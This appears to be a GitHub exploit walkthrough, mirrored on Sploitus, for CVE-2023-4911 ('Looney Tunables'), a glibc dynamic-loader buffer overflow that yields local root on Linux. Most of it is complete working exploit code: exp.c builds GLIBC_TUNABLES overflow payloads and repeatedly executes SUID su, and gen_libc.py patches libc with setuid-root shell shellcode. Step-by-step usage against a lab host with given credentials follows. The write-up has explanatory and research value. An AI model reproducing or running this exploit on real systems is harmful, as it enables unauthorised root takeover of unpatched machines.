## https://sploitus.com/exploit?id=9B3DC886-C0AD-50C7-B734-6D361F411851
![image](https://github.com/WhiteH4T-Dev/CVE-2023-4911-Looney-Tunables/assets/83751620/db0cbfb1-9c22-416a-9174-053012a0d96c)
<br>
## The Vulnerability
A buffer overflow was discovered in the GNU C Library's dynamic loader `ld.so`, this loader is responsible for providing the required shared libraries for any executable when it is run on linux. This vulnerability poses a significant risk since it allows escalating privileges of a logged on user and obtaining full control of the vulnerable machine. So any unprivileged user to escalate from any user into root. You need to update all of your systems.
<br>
```
We successfully exploited this vulnerability and obtained full root
privileges on the default installations of Fedora 37 and 38, Ubuntu
22.04 and 23.04, Debian 12 and 13; other distributions are probably also
vulnerable and exploitable (one notable exception is Alpine Linux, which
uses musl libc, not the glibc). We will not publish our exploit for now;
however, this buffer overflow is easily exploitable (by transforming it
into a data-only attack), and other researchers might publish working
exploits shortly after this coordinated disclosure.
```
<br>
> Reference: https://seclists.org/fulldisclosure/2023/Oct/11
<br>
## Prerequisites
Link to the proof of concept
https://github.com/leesh3288/CVE-2023-4911
<br>
![image](https://github.com/WhiteH4T-Dev/CVE-2023-4911-Looney-Tunables/assets/83751620/de8f788d-19b5-4804-8f55-6c1b21814fa5)
<br>
The python script `gen_libc.py` will create a malicious dynamic loader in this case `ld.so`, once the loader is created you will need to compile the exploit code `exp.c` and execute on the vulnerable machine.
<br>
## Analysing the Exploit Code
Here the exploit creates different arrays as you can see, which will be used later to store the `GLIBC_TUNABLES` environment variable. This environment variable is searched and processed whenever you execute any binary on Linux and it is very similar to the loader `ld.so`. So we want to store it in environment variable and trigger the buffer overflow in the `GLIBC` when the program is executed. The `kv[BOF_SIZE]` is the payload the will trigger the buffer overflow, its filled with a long sequence of `A`.
<br>
![image](https://github.com/WhiteH4T-Dev/CVE-2023-4911-Looney-Tunables/assets/83751620/cb6a5886-61a7-4293-812d-15a11966d8e6)
<br>
Another important part is the variable `filler`, this variable is created to pad away the loaders read-write section, it is filled with a long sequence of `F` characters.
<br>
![image](https://github.com/WhiteH4T-Dev/CVE-2023-4911-Looney-Tunables/assets/83751620/067035fe-163e-403e-a313-65d5f5e4f8ea)
<br>
Then if we scroll down we can see another variable called `filler2`, its similar to `filler` and it is also used to pad away any extra portions, it's filled also with a sequence of `F` characters.
<br>
![image](https://github.com/WhiteH4T-Dev/CVE-2023-4911-Looney-Tunables/assets/83751620/0d2d19bc-f482-42d0-891f-74f12e5480c9)
<br>
The `dt_rpath` variable is used to craft a specific value to overwrite memory regions during the exploitation process.
<br>
![image](https://github.com/WhiteH4T-Dev/CVE-2023-4911-Looney-Tunables/assets/83751620/f0c13e8e-4343-4890-a0a7-ffaa0d8918d4)
<br>
## Exploit Code
**Filename:** `exp.c`
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <time.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <sys/wait.h>
#define FILL_SIZE 0xd00
#define BOF_SIZE 0x600
// copied from somewhere, probably https://stackoverflow.com/a/11765441
int64_t time_us()
{
struct timespec tms;
/* POSIX.1-2008 way */
if (clock_gettime(CLOCK_REALTIME, &tms))
{
return -1;
}
/* seconds, multiplied with 1 million */
int64_t micros = tms.tv_sec * 1000000;
/* Add full microseconds */
micros += tms.tv_nsec / 1000;
/* round up if necessary */
if (tms.tv_nsec % 1000 >= 500)
{
++micros;
}
return micros;
}
int main(void)
{
char filler[FILL_SIZE], kv[BOF_SIZE], filler2[BOF_SIZE + 0x20], dt_rpath[0x20000];
char *argv[] = {"/usr/bin/su", "--help", NULL};
char *envp[0x1000] = {
NULL,
};
// copy forged libc
if (mkdir("\"", 0755) == 0)
{
int sfd, dfd, len;
char buf[0x1000];
dfd = open("\"/libc.so.6", O_CREAT | O_WRONLY, 0755);
sfd = open("./libc.so.6", O_RDONLY);
do
{
len = read(sfd, buf, sizeof(buf));
write(dfd, buf, len);
} while (len == sizeof(buf));
close(sfd);
close(dfd);
} // else already exists, skip
strcpy(filler, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
for (int i = strlen(filler); i < sizeof(filler) - 1; i++)
{
filler[i] = 'F';
}
filler[sizeof(filler) - 1] = '\0';
strcpy(kv, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");
for (int i = strlen(kv); i < sizeof(kv) - 1; i++)
{
kv[i] = 'A';
}
kv[sizeof(kv) - 1] = '\0';
strcpy(filler2, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
for (int i = strlen(filler2); i < sizeof(filler2) - 1; i++)
{
filler2[i] = 'F';
}
filler2[sizeof(filler2) - 1] = '\0';
for (int i = 0; i < 0xfff; i++)
{
envp[i] = "";
}
for (int i = 0; i < sizeof(dt_rpath); i += 8)
{
*(uintptr_t *)(dt_rpath + i) = -0x14ULL;
}
dt_rpath[sizeof(dt_rpath) - 1] = '\0';
envp[0] = filler; // pads away loader rw section
envp[1] = kv; // payload
envp[0x65] = ""; // struct link_map ofs marker
envp[0x65 + 0xb8] = "\x30\xf0\xff\xff\xfd\x7f"; // l_info[DT_RPATH]
envp[0xf7f] = filler2; // pads away :tunable2=AAA: in between
for (int i = 0; i < 0x2f; i++)
{
envp[0xf80 + i] = dt_rpath;
}
envp[0xffe] = "AAAA"; // alignment, currently already aligned
struct rlimit rlim = {RLIM_INFINITY, RLIM_INFINITY};
if (setrlimit(RLIMIT_STACK, &rlim) < 0)
{
perror("setrlimit");
}
/*
if (execve(argv[0], argv, envp) < 0) {
perror("execve");
}
*/
int pid;
for (int ct = 1;; ct++)
{
if (ct % 100 == 0)
{
printf("try %d\n", ct);
}
if ((pid = fork()) < 0)
{
perror("fork");
break;
}
else if (pid == 0) // child
{
if (execve(argv[0], argv, envp) < 0)
{
perror("execve");
break;
}
}
else // parent
{
int wstatus;
int64_t st, en;
st = time_us();
wait(&wstatus);
en = time_us();
if (!WIFSIGNALED(wstatus) && en - st > 1000000)
{
// probably returning from shell :)
break;
}
}
}
return 0;
}
```
<br>
**Filename:** `gen_libc.py`
```python
#!/usr/bin/env python3
from pwn import *
context.os = "linux"
context.arch = "x86_64"
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
d = bytearray(open(libc.path, "rb").read())
sc = asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh())
orig = libc.read(libc.sym["__libc_start_main"], 0x10)
idx = d.find(orig)
d[idx : idx + len(sc)] = sc
open("./libc.so.6", "wb").write(d)
```
<br>
## Exploiting the vulnerability
**Assume Breach Scenario:**
```
Username: nopriv
Password: Password321
IP address: 10.10.48.251
```
<br>
**Connect to the target machine using SSH**
```
(myenv) โโ[parrot@parrot]โ[~]
โโโโผ $ssh nopriv@10.10.48.251
The authenticity of host '10.10.48.251 (10.10.48.251)' can't be established.
ECDSA key fingerprint is SHA256:UAd8ulCB6/l8dOBLVhPgtrF4lGGPSO00nKVjcuFwXA8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
nopriv@looneytunes:~$
```
<br>
**Create the proof of concept files**
<br>
![image](https://github.com/WhiteH4T-Dev/CVE-2023-4911-Looney-Tunables/assets/83751620/dfdf5a84-72e6-4063-9102-12850cc0dbf5)
<br>
We will now need to generate the malicious loader, its important to note that the dynamic loader is not always `ld.so`. This vulnerability looks for binaries with SUID permission and executes the code with elevated privileges by generating malicious `GLIBC_TUNABLES` environment variables.
<br>
**Find out what dynamic loader your machine is using**
- In the example below, we found the loader being used for `/usr/bin/man`
- The exploit code shows `/lib/x86_64-linux-gnu/libc.so.6` so we need to replace it
- In order to keep things simple, we will go ahead and generate the loader with what's given.
```
readelf /usr/bin/man -p .interp
```
<br>
![image](https://github.com/WhiteH4T-Dev/CVE-2023-4911-Looney-Tunables/assets/83751620/77e5163e-4179-4932-aa00-375d08123b7b)
<br>
**Generate the malicious dynamic loader**
```
python3 gen_libc.py
```
<br>
![image](https://github.com/WhiteH4T-Dev/CVE-2023-4911-Looney-Tunables/assets/83751620/bcb0eac3-5721-43b4-b2ab-e29ffd66ab92)
<br>
**Combine the exploit code**
```
gcc -o exploit exp.c
```
<br>
You will now see that we have the necessary files, the loader `libc.so.6`, the exploit code `exploit`.
<br>
![image](https://github.com/WhiteH4T-Dev/CVE-2023-4911-Looney-Tunables/assets/83751620/8d92e654-0e64-4af5-bbe9-f6a885dc73b0)
<br>
**Change the permissions on the file**
```
chmod +x *
```
<br>
**Execute the file**
- This will take about 2 minutes to complete, so get a drink of water lol.
- This should make us be the root user through heap buffer overflow.
- The `try 100` is basically looking for a fixed address on the stack.
```
./exploit
```
<br>
![image](https://github.com/WhiteH4T-Dev/CVE-2023-4911-Looney-Tunables/assets/83751620/a242651e-29cb-411c-9583-01a0b7e56c92)
<hr>